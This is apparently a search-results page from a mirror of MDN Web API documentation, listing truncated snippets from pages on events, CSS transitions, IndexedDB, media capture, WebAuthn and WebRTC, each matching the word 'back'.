back) { if (!(type in this.listeners)) { this.listeners[type] = []; } this.listeners[type].push(call
back); }; eventtarget.prototype.removeeventlistener = function(type, call
back) { if (!(type in this.listeners)) { return; } var stack = this.listeners[type]; for (var i = 0, l = stack.length; i < l; i++) { if (stack[i] === call
back){ stack.splice(i, 1); return; ...
ExtendableEvent.waitUntil() - Web APIs
the waituntil() method must be initially called within the event call
back, but after that it can be called multiple times, until all the promises passed to it settle.
FetchEvent() - Web APIs
typically, pressing the refresh button in a browser is a reload, while clicking a link and pressing the
back button is not.
Gamepad.id - Web APIs
this information is intended to allow you to find a mapping for the controls on the device as well as display useful feed
back to the user.
GamepadHapticActuator - Web APIs
the gamepadhapticactuator interface of the gamepad api represents hardware in the controller designed to provide haptic feed
back to the user (if available), most commonly vibration hardware.
Gamepad API - Web APIs
experimental gamepad extensions gamepadhapticactuator represents hardware in the controller designed to provide haptic feed
back to the user (if available), most commonly vibration hardware.
GlobalEventHandlers.oncontextmenu - Web APIs
html <div class="shape">spinning</div> <p class="note" hidden>click to unpause.</p> css @keyframes spin { from { transform: rotate(0); } to { transform: rotate(1turn); } } .shape { width: 8em; height: 8em; display: flex; align-items: center; justify-content: center; animation: spin 18s linear infinite;
background: lightsalmon; border-radius: 42%; margin: 1em; } .paused {
background-color: #ddd; } .paused .shape { animation-play-state: paused; } javascript function pause(e) { body.classlist.add('paused'); note.removeattribute('hidden'); } function play(e) { body.classlist.remove('paused'); note.setattribute('hidden', ''); } const body = document.queryselector('body'); const note...
GlobalEventHandlers.ondrag - Web APIs
: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.
background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <!-- <div class="source"> --> ...
GlobalEventHandlers.ondragover - Web APIs
: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.
background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <p id="source" ondrag="drag_...
GlobalEventHandlers.ondragstart - Web APIs
: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.
background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <p id="source" ondrag="drag_...
GlobalEventHandlers.ondrop - Web APIs
: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.
background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div class="source"> <p id="source...
GlobalEventHandlers.onerror - Web APIs
a good example for this is when you are using an image tag, and need to specify a
backup image in case the one you need is not available on the server for any reason.
GlobalEventHandlers.onmousedown - Web APIs
html <div class="container"> <div class="view" hidden></div> <img src="https://udn.realityripple.com/samples/90/a34a525ace.jpg"> </div> css .container { width: 320px; height: 213px;
background: black; } .view { position: absolute; width: 100px; height: 100px;
background: white; border-radius: 50%; } img { mix-blend-mode: darken; } javascript function showview(event) { view.removeattribute('hidden'); view.style.left = event.clientx - 50 + 'px'; view.style.top = event.clienty - 50 + 'px'; event.preventdefault(); } function moveview(event) { view.style.lef...
GlobalEventHandlers.onmousemove - Web APIs
html <p><a href="#" data-tooltip="first link">see a tooltip here …</a></p> <p><a href="#" data-tooltip="second link">… or here!</a></p> css .tooltip { position: absolute; z-index: 9999; padding: 6px;
background: #ffd; border: 1px #886 solid; border-radius: 5px; } javascript const tooltip = new (function() { const node = document.createelement('div'); node.classname = 'tooltip'; node.setattribute('hidden', ''); document.body.appendchild(node); this.follow = function(event) { node.style.left = event.clientx + 20 + 'px'; node.style.top = event.clienty + 10 + 'px'; }; thi...
GlobalEventHandlers.onmouseup - Web APIs
html <div class="container"> <div class="toaster"></div> <div class="toast">hello world!</div> </div> css .container { position: absolute; left: 50%; bottom: 20px; transform: translate(-50%); } .toaster { width: 160px; height: 110px;
background: #bbb; border-radius: 10px 10px 0 0; } .toast { position: absolute; left: 50%; top: 50%; z-index: -1; width: 100px; height: 50px; padding: 10px;
background: #ed9; border-radius: 10px 10px 0 0; transform: translate(-50%, -90px); transition: transform .3s; } .depressed { transform: translate(-50%, -50%); } javascript function depress() { toast.classlist.add('de...
GlobalEventHandlers.onpointerdown - Web APIs
#target { width: 400px; height: 30px; text-align: center; font: 16px "open sans", "helvetica", sans-serif; color: white;
background-color: blue; border: 2px solid darkblue; cursor: pointer; user-select: none; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; } result the resulting output is shown below.
GlobalEventHandlers.ontransitioncancel - Web APIs
.box { margin-left: 70px; margin-top: 30px; border-style: solid; border-width: 1px; display: block; width: 100px; height: 100px;
background-color: #0000ff; color: #ffffff; padding: 20px; font: bold 1.6em "helvetica", "arial", sans-serif; -webkit-transition: width 2s, height 2s,
background-color 2s, -webkit-transform 2s, color 2s; transition: width 2s, height 2s,
background-color 2s, transform 2s, color 2s; } .box:hover {
background-color: #ffcccc; color: #000000; width: 200px; height: 200px; -webkit-transfo...
GlobalEventHandlers.ontransitionend - Web APIs
.box { margin-left: 70px; margin-top: 30px; border-style: solid; border-width: 1px; display: block; width: 100px; height: 100px;
background-color: #0000ff; color: #ffffff; padding: 20px; font: bold 1.6em "helvetica", "arial", sans-serif; transition: width 2s, height 2s,
background-color 2s, transform 2s, color 2s; } .box:hover {
background-color: #ffcccc; color: #000000; width: 200px; height: 200px; transform: rotate(180deg); } javascript next, we need to establish our event handlers to change the text con...
GlobalEventHandlers.onwheel - Web APIs
html <div>scale me with your mouse wheel.</div> css body { min-height: 100vh; margin: 0; display: flex; align-items: center; justify-content: center; } div { width: 80px; height: 80px;
background: #cdf; padding: 5px; transition: transform .3s; } javascript function zoom(event) { event.preventdefault(); if (event.deltay < 0) { // zoom in scale *= event.deltay * -2; } else { // zoom out scale /= event.deltay * 2; } // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } ...
Gyroscope - Web APIs
example the gyroscope is typically read in the sensor.onreading event call
back.
HTMLCollection - Web APIs
htmlcollection.nameditem() returns the specific node whose id or, as a fall
back, name matches the string specified by name.
HTMLElement: transitioncancel event - Web APIs
ead of addeventlistener(): const transition = document.queryselector('.transition'); transition.ontransitioncancel = () => { console.log('transition canceled'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition"></div> <div class="message"></div> .transition { width: 100px; height: 100px;
background: rgba(255,0,0,1); transition-property: transform
background; transition-duration: 2s; transition-delay: 2s; } .transition:hover { transform: rotate(90deg);
background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate that the transitionstart, transitionrun, transitioncancel and transitionend events fire.
HTMLElement: transitionend event - Web APIs
the ontransitionend: const transition = document.queryselector('.transition'); transition.ontransitionend = () => { console.log('transition ended'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px;
background: rgba(255,0,0,1); transition-property: transform
background; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg);
background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate that the transitionstart, transitionrun, transitioncancel and transitionend events fire.
HTMLElement: transitionrun event - Web APIs
tener(): el.ontransitionrun = () => { console.log('transition started running, and will start transitioning when the transition delay has expired'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px;
background: rgba(255,0,0,1); transition-property: transform,
background; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg);
background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate where the transitionstart and transitionrun events fire.
HTMLElement: transitionstart event - Web APIs
same, but using the ontransitionstart property instead of addeventlistener(): element.ontransitionrun = () => { console.log('started transitioning'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px;
background: rgba(255,0,0,1); transition-property: transform,
background; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg);
background: rgba(255,0,0,0); } to this, we'll add some javascript to indicate where the transitionstart and transitionrun events fire.
contentDocument - Web APIs
example of contentdocument var iframedocument = document.getelementsbytagname("iframe")[0].contentdocument; iframedocument.body.style.
backgroundcolor = "blue"; // this would turn the iframe blue.
HTMLIFrameElement.contentWindow - Web APIs
example of contentwindow var x = document.getelementsbytagname("iframe")[0].contentwindow; //x = window.frames[0]; x.document.getelementsbytagname("body")[0].style.
backgroundcolor = "blue"; // this would turn the 1st iframe in document blue.
HTMLImageElement.complete - Web APIs
these photos may be very large, so you don't want to wait for them to load, so your code uses async/await to load the images in the
background.
HTMLImageElement.crossOrigin - Web APIs
thanks for reading me.</p> </div> css body { font: 1.125rem/1.5, helvetica, sans-serif; } .container { display: flow-root; width: 37.5em; border: 1px solid #d2d2d2; } img { float: left; padding-right: 1.5em; } output {
background: rgba(100, 100, 100, 0.1); font-family: courier, monospace; width: 95%; } result specifications specification status comment html living standardthe definition of 'htmlimageelement.crossorigin' in that specification.
HTMLImageElement.sizes - Web APIs
syntax let sizes = htmlimageelement.sizes; htmlimageelement.sizes = sizes; value a usvstring containing a comma-separated list of source size descriptors followed by an optional fall
back size.
HTMLImageElement.x - Web APIs
css the css defining the appearance of the table: .group1 {
background-color: #d7d9f2; } table { border-collapse: collapse; border: 2px solid rgb(100, 100, 100); font-family: sans-serif; } td, th { border: 1px solid rgb(100, 100, 100); padding: 10px 14px; } td > img { max-width: 4em; } result the resulting table looks like this: specifications specification status comment css object model (cssom) view modulethe ...
HTMLImageElement.y - Web APIs
css the css defining the appearance of the table: .group1 {
background-color: #d7d9f2; } table { border-collapse: collapse; border: 2px solid rgb(100, 100, 100); font-family: sans-serif; } td, th { border: 1px solid rgb(100, 100, 100); padding: 10px 14px; } td > img { max-width: 4em; } result the resulting table looks like this: specifications specification status comment css object model (cssom) view modulethe ...
HTMLImageElement - Web APIs
htmlimageelement.alt a domstring that reflects the alt html attribute, thus indicating the alternate fall
back content to be displayed if the image has not been loaded.
HTMLInputElement - Web APIs
possible values are: forward if selection was performed in the start-to-end direction of the current locale
backward for the opposite direction none if the direction is unknown size unsigned long: returns / sets the element's size attribute, containing visual size of the control.
The HTML DOM API - Web APIs
datatransfer datatransferitem datatransferitemlist dragevent page history interfaces the history api interfaces let you access information about the browser's history, as well as to shift the browser's current tab forward and
backward through that history.
HashChangeEvent - Web APIs
ge event using any of the following options: window.onhashchange = funcref; or <body onhashchange="funcref();"> or window.addeventlistener("hashchange", funcref, false); basic example function locationhashchanged() { if (location.hash === '#somecoolfeature') { somecoolfeature(); } } window.addeventlistener('hashchange', locationhashchanged); polyfill there are several fall
back scripts listed on the modernizr github page.
Ajax navigation example - Web APIs
g>third_page.php</strong>.</p> <?php include "include/after_content.php"; echo "</body>\n</html>"; } ?> css/style.css: #ajax-loader { position: fixed; display: table; top: 0; left: 0; width: 100%; height: 100%; } #ajax-loader > div { display: table-cell; width: 100%; height: 100%; vertical-align: middle; text-align: center;
background-color: #000000; opacity: 0.65; } include/after_content.php: <p>this is the footer.
IDBDatabase.createObjectStore() - Web APIs
exceptions this method may raise a domexception with a domerror of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction call
back.
IDBDatabase.deleteObjectStore() - Web APIs
exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror occurs if the method was not called from a versionchange transaction call
back.
IDBIndex.count() - Web APIs
myindex.count() is then used to count the number of records in the index, and the result of that request is logged to the console when its success call
back returns.
IDBIndex.get() - Web APIs
myindex.get('bungle') is then used to retrieve the record with an lname of bungle, and the result of that request is logged to the console when its success call
back returns.
IDBIndex.getKey() - Web APIs
myindex.getkey('bungle') is then used to retrieve the primary key of the record with an lname of bungle, and the result of that request is logged to the console when its success call
back returns.
IDBObjectStore.get() - Web APIs
once this data object is retrieved, you could then update it using normal javascript, then put it
back into the database using a idbobjectstore.put operation.
IDBTransaction.abort() - Web APIs
the abort() method of the idbtransaction interface rolls
back all the changes to objects in the database associated with this transaction.
IIRFilterNode.getFrequencyResponse() - Web APIs
class="freq-response-output"> </ul> var freqresponseoutput = document.queryselector('.freq-response-output'); finally, after creating our filter, we use getfrequencyresponse() to generate the response data and put it in our arrays, then loop through each data set and output them in a human-readable list at the bottom of the page: var feedforwardcoefficients = [0.1, 0.2, 0.3, 0.4, 0.5]; var feed
backcoefficients = [0.5, 0.4, 0.3, 0.2, 0.1]; var iirfilter = audioctx.createiirfilter(feedforwardcoefficients, feed
backcoefficients); ...
Checking when a deadline is due - Web APIs
jectstore('todolist'); // get the to-do list object that has this title as it's title var request = objectstore.get(title); request.onsuccess = function() { // grab the data object returned as the result var data = request.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item
back into the database var requestupdate = objectstore.put(data); // when this new request succeeds, run the displaydata() function again to update the display requestupdate.onsuccess = function() { displaydata(); } if the checks all match, we then run the createnotification() function to provide a notification to the user.
MediaCapabilities - Web APIs
the information can be used to serve optimal media streams to the user and determine if play
back should be smooth and power efficient.
MediaDevices.ondevicechange - Web APIs
2>video devices:</h2> <ul class="devicelist" id="videolist"></ul> </div> <div id="log"></div> css content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white;
background-color: darkgreen; } h2 { margin-bottom: 4px; } .left { float:left; width: 48%; margin-right: 2% } .right { float:right; width: 48%; margin-left: 2% } .devicelist { border: 1px solid black; list-style-type: none; margin-top: 2px; padding: 6px; } javascript content other code below is other code which, while needed to make this example work, isn'tt related directl...
MediaKeys - Web APIs
the mediakeys interface of encryptedmediaextensions api represents a set of keys that an associated htmlmediaelement can use for decryption of media data during play
back.
MediaMetadata.MediaMetadata() - Web APIs
('mediasession' in navigator){ navigator.mediasession.metadata = new mediametadata({ title: "podcast episode title", artist: "podcast host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); navigator.mediasession.setactionhandler('play', function() {}); navigator.mediasession.setactionhandler('pause', function() {}); navigator.mediasession.setactionhandler('seek
backward', function() {}); navigator.mediasession.setactionhandler('seekforward', function() {}); navigator.mediasession.setactionhandler('previoustrack', function() {}); navigator.mediasession.setactionhandler('nexttrack', function() {}); } specifications specification status comment media session standardthe definition of 'mediametadata()' in that specification.
MediaQueryList.matches - Web APIs
examples this example detects viewport orientation changes by creating a media query using the orientation media feature: function addmqlistener(mq, call
back) { if (mq.addeventlistener) { mq.addeventlistener("change", call
back); } else { mq.addlistener(call
back); } } addmqlistener(window.matchmedia("(orientation:landscape)"), event => { if (event.matches) { /* now in landscape orientation */ } else { /* now in portrait orientation */ } } ); specifications specification status comment ...
MediaQueryList.onchange - Web APIs
the event object is a mediaquerylistevent instance, which is recognised as a medialistquery instance in older browsers, for
backwards compatibility purposes.
MediaQueryListEvent.matches - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.
backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.
backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'matches' in that specific...
MediaQueryListEvent.media - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.
backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.
backgroundcolor = 'blue'; } console.log(e.media); } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of '...
MediaQueryListEvent - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.
backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.
backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'mediaquerylistevent' in th...
MediaRecorder.mimeType - Web APIs
keep in mind that not all codecs are supported by a given container; if you write media using a codec that is not supported by a given media container, the resulting file may not work reliably if at all when you try to play it
back.
MediaRecorder.stream - Web APIs
example if (navigator.getusermedia) { console.log('getusermedia supported.'); navigator.getusermedia ( // constraints - only audio needed for this app { audio: true }, // success call
back function(stream) { var mediarecorder = new mediarecorder(stream); var mystream = mediarecorder.stream; console.log(mystream); ...
MediaRecorder - Web APIs
etusermedia supported.'); var constraints = { audio: true }; var chunks = []; navigator.mediadevices.getusermedia(constraints) .then(function(stream) { var mediarecorder = new mediarecorder(stream); visualize(stream); record.onclick = function() { mediarecorder.start(); console.log(mediarecorder.state); console.log("recorder started"); record.style.
background = "red"; record.style.color = "black"; } stop.onclick = function() { mediarecorder.stop(); console.log(mediarecorder.state); console.log("recorder stopped"); record.style.
background = ""; record.style.color = ""; } mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var clip...
MediaSession.metadata - Web APIs
('mediasession' in navigator){ navigator.mediasession.metadata = new mediametadata({ title: "podcast episode title", artist: "podcast host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); navigator.mediasession.setactionhandler('play', function() {}); navigator.mediasession.setactionhandler('pause', function() {}); navigator.mediasession.setactionhandler('seek
backward', function() {}); navigator.mediasession.setactionhandler('seekforward', function() {}); navigator.mediasession.setactionhandler('previoustrack', function() {}); navigator.mediasession.setactionhandler('nexttrack', function() {}); } specifications specification status comment media session standardthe definition of 'mediasession.metadata' in that specification.
MediaStreamAudioSourceNode - Web APIs
ut = function() { biquadfilter.gain.value = range.value; } }) .catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('getusermedia not supported on your browser!'); } // dump script to pre element pre.innerhtml = myscript.innerhtml; note: as a consequence of calling createmediastreamsource(), audio play
back from the media stream will be re-routed into the processing graph of the audiocontext.
MediaStreamTrack: ended event - Web APIs
the ended event of the mediastreamtrack interface is fired when play
back or streaming has stopped because the end of the media was reached or because no further data is available.
MediaStreamTrackAudioSourceNode - Web APIs
ut = function() { biquadfilter.gain.value = range.value; } }) .catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('getusermedia not supported on your browser!'); } // dump script to pre element pre.innerhtml = myscript.innerhtml; note: as a consequence of calling createmediastreamsource(), audio play
back from the media stream will be re-routed into the processing graph of the audiocontext.
MediaTrackConstraints.cursor - Web APIs
let displaymediaoptions = { cursor: "always" }; example: cursor visible during motion with fall
back in this example, the cursor property is configured to request that the cursor be visible when in motion, falling
back to always being visible if the user agent doesn't support in-motion only cursor rendering.
MediaTrackConstraints - Web APIs
these may include
backing buffers for windows to allow capture of window contents that are hidden by other windows in front of them, or buffers containing larger documents that need to be scrolled through to see the entire contents in their windows.
MediaTrackSettings.logicalSurface - Web APIs
logical surfaces are those which are not necessarily entirely onscreen, or may even be off-screen, such as windows'
backing buffers (where only part of the buffer is visible without scrolling the containing window) and offscreen rendering contexts.
MediaTrackSettings - Web APIs
logicalsurface a boolean value which, if true, indicates that the video contained in the stream's video track contains a
background rendering context, rather than a user-visible one.
Media Capture and Streams API (Media Stream) - Web APIs
it provides the interfaces and methods for working with the streams and their constituent tracks, the constraints associated with data formats, the success and error call
backs when using the data asynchronously, and the events that are fired during the process.
MessageChannel() - Web APIs
the handlemessage handler then responds to a message being sent
back from the iframe (using messageport.onmessage), putting it into a paragraph.
MessageChannel.port1 - Web APIs
the handlemessage handler then responds to a message being sent
back from the <iframe> (using messageport.onmessage), putting it into a paragraph.
MessageChannel.port2 - Web APIs
the handlemessage handler then responds to a message being sent
back from the iframe (using messageport.onmessage), putting it into a paragraph.
MessageChannel - Web APIs
when a message is received
back from the iframe, the onmessage function simply outputs the message to a paragraph.
MessagePort.close() - Web APIs
example in the following code block, you can see a handlemessage handler function, run when a message is sent
back to this document using eventtarget.addeventlistener.
MessagePort.onmessage - Web APIs
the handlemessage handler then responds to a message being sent
back from the iframe using onmessage, putting it into a paragraph — messagechannel.port1 is listened to, to check when the message arrives.
MessagePort.postMessage() - Web APIs
the handlemessage handler then responds to a message being sent
back from the iframe using onmessage, putting it into a paragraph — messagechannel.port1 is listened to, to check when the message arrives.
MessagePort.start() - Web APIs
example in the following code block, you can see a handlemessage handler function, run when a message is sent
back to this document using onmessage: channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } another option would be to do this using eventtarget.addeventlistener, however, when this method is used, you need to explicitly call start() to begin the flow of messages to this document: channel.port1.addeventlistener('message', handlemessage, false); functi...
MessagePort - Web APIs
when a message is received
back from the iframe, the onmessage function simply outputs the message to a paragraph.
MouseEvent.button - Web APIs
syntax var buttonpressed = instanceofmouseevent.button return value a number representing a given button: 0: main button pressed, usually the left button or the un-initialized state 1: auxiliary button pressed, usually the wheel button or the middle button (if present) 2: secondary button pressed, usually the right button 3: fourth button, typically the browser
back button 4: fifth button, typically the browser forward button as noted above, buttons may be configured differently to the standard "left to right" layout.
MouseEvent.buttons - Web APIs
0 : no button or un-initialized 1 : primary button (usually the left button) 2 : secondary button (usually the right button) 4 : auxiliary button (usually the mouse wheel button or middle button) 8 : 4th button (typically the "browser
back" button) 16 : 5th button (typically the "browser forward" button) example this example logs the buttons property when you trigger a mousedown event.
MouseEvent.initMouseEvent() - Web APIs
example html <div style="
background:red; width:180px; padding:10px;"> <div id="out"></div> <input type="text"> </div> javascript document.body.onclick = function(){ e = arguments[0]; var dt = e.target,stag = dt.tagname.tolowercase(); document.getelementbyid("out").innerhtml = stag; }; var simulateclick = function(){ var evt = document.createevent("mouseevents"); evt.initmouseevent("click", true, true, window...
MouseEvent.pageX - Web APIs
.box { width: 400px; height: 250px; border: 2px solid darkblue;
background-color: blue; color: white; font: 16px "zilla", "open sans", "helvetica", "arial", sans-serif; } result try this out here: specifications specification status comment css object model (cssom) view modulethe definition of 'pagex' in that specification.
MouseEvent.relatedTarget - Web APIs
html <body id="body"> <div id="outer"> <div id="red"></div> <div id="blue"></div> </div> <p id="log"></p> </body> css #outer { width: 250px; height: 125px; display: flex; } #red { flex-grow: 1;
background: red; } #blue { flex-grow: 1;
background: blue; } #log { max-height: 120px; overflow-y: scroll; } javascript const mouseoutlog = document.getelementbyid('log'), red = document.getelementbyid('red'), blue = document.getelementbyid('blue'); red.addeventlistener('mouseover', overlistener); red.addeventlistener('mouseout', outlistener); blue.addeventlistener('mouseover'...
PerformanceObserver - Web APIs
the performance observer's call
back function will be invoked when a performance entry is recorded for one of the specified entrytypes performanceobserver.disconnect() stops the performance observer call
back from receiving performance entries.
PerformanceTiming - Web APIs
the performancetiming interface is a legacy interface kept for
backwards compatibility and contains properties that offer performance timing information for various events which occur during the loading and use of the current page.
Performance API - Web APIs
performance timeline level 2 candidate recommendation adds serializer to the performanceentry interface as well as adding the performanceobserver interface and call
back resource timing level 1 candidate recommendation adds the performanceresourcetiming interface.
Permissions.revoke() - Web APIs
the permissions.revoke() method of the permissions interface reverts a currently set permission
back to its default state, which is usually prompt.
Permissions - Web APIs
safari ios no support nosamsung internet android full support 8.0
background-sync permissionchrome full support 62edge full support 79firefox ?
Pointer Lock API - Web APIs
game players can now click buttons and swipe the mouse cursor
back and forth without worrying about leaving the game play area and accidentally clicking another application that would take mouse focus away from the game.
Pointer events - Web APIs
device button state button buttons neither buttons nor touch/pen contact changed since last event -1 — mouse move with no buttons pressed, pen moved while hovering with no buttons pressed — 0 left mouse, touch contact, pen contact 0 1 middle mouse 1 4 right mouse, pen barrel button 2 2 x1 (
back) mouse 3 8 x2 (forward) mouse 4 16 pen eraser button 5 32 notice: the button property indicates a change in the state of the button.
PublicKeyCredential - Web APIs
var options = { challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response
back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'publickeycredential interface' in that specification.
PublicKeyCredentialCreationOptions.pubKeyCredParams - Web APIs
examples var publickey = { pubkeycredparams: [ // we would like an elliptic curve to be used if possible { type: "public-key", alg: -7 }, // if not, then we will fall
back on an rsa algorithm { type: "public-key", alg: -37 } ], challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", } }; navigator.credentials.create({ publ...
PublicKeyCredentialRequestOptions.allowCredentials - Web APIs
: new uint8array(26) // actually provided by the server }, { transports: ["internal"], type: "public-key", id: new uint8array(26) // actually provided by the server } ], challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response
back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'allowcredentials' in that specification.
PublicKeyCredentialRequestOptions.rpId - Web APIs
examples var options = { challenge: new uint8array([/* bytes sent from the server */]), rpid: "example.com" // will only work if the current domain // is something like foo.example.com }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response
back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'rpid' in that specification.
PublicKeyCredentialRequestOptions.timeout - Web APIs
examples var options = { challenge: new uint8array([/* bytes sent from the server */]), timeout: 6000 // wait a minute for the fetching operation // and maybe fail if it takes longer }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response
back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'timeout' in that specification.
PublicKeyCredentialRequestOptions.userVerification - Web APIs
examples var options = { userverification: "preferred", challenge: new uint8array([/* bytes sent from the server */]), }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response
back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'userverification' in that specification.
PushManager - Web APIs
in a production environment it might make sense to // also report information about errors
back to the // application server.
RTCConfiguration.iceServers - Web APIs
while it can be useful to provide a second server as a fall
back in case the first is offline, listing too many servers can delay the user's connection being established, depending on the network's performance and how many servers get used for negotiation before a connection is established.
RTCDTMFSender.toneBuffer - Web APIs
in this example, we would send "*" to request access to the vm system, then, after a pause, send a "1" to start play
back of voicemail messages, then after a pause, dial "5555" as a pin number to open the messages.
RTCDataChannel.send() - Web APIs
var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("
backchannel"); function sendmessage(msg) { let obj = { "message": msg, "timestamp": new date() } dc.send(json.stringify(obj)); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.send()' in that specification.
RTCIceCandidate.usernameFragment - Web APIs
example although the webrtc infrastructure will filter out obsolete candidates for you after an ice restart, you can do it yourself if you're trying to absolutely minimize the number of messages going
back and forth.
RTCIceCandidate - Web APIs
note: for
backward compatibility, the constructor also accepts as input a string containing the value of the candidate property instead of a rtcicecandidateinit object, since the candidate includes all of the information that rtcicecandidateinit does and more.
RTCIceCandidateInit.candidate - Web APIs
t-side signaling layer builds and transmits a json string including the candidate to the remote peer, the remote peer might handle receiving that json message like this: function goticecandidatemessage(msg) { var icecandidate = new rtcicecandidate({ candidate: msg.candidate; }); pc.addicecandidate(icecandidate).catch({ /* handle error */ }); } it's helpful to note that for
backward compatibility with older versions of the webrtc specification, the rtcicecandidate() constructor accepts the value of candidate as its only input, in place of the rtcicecandidateinit dictionary.
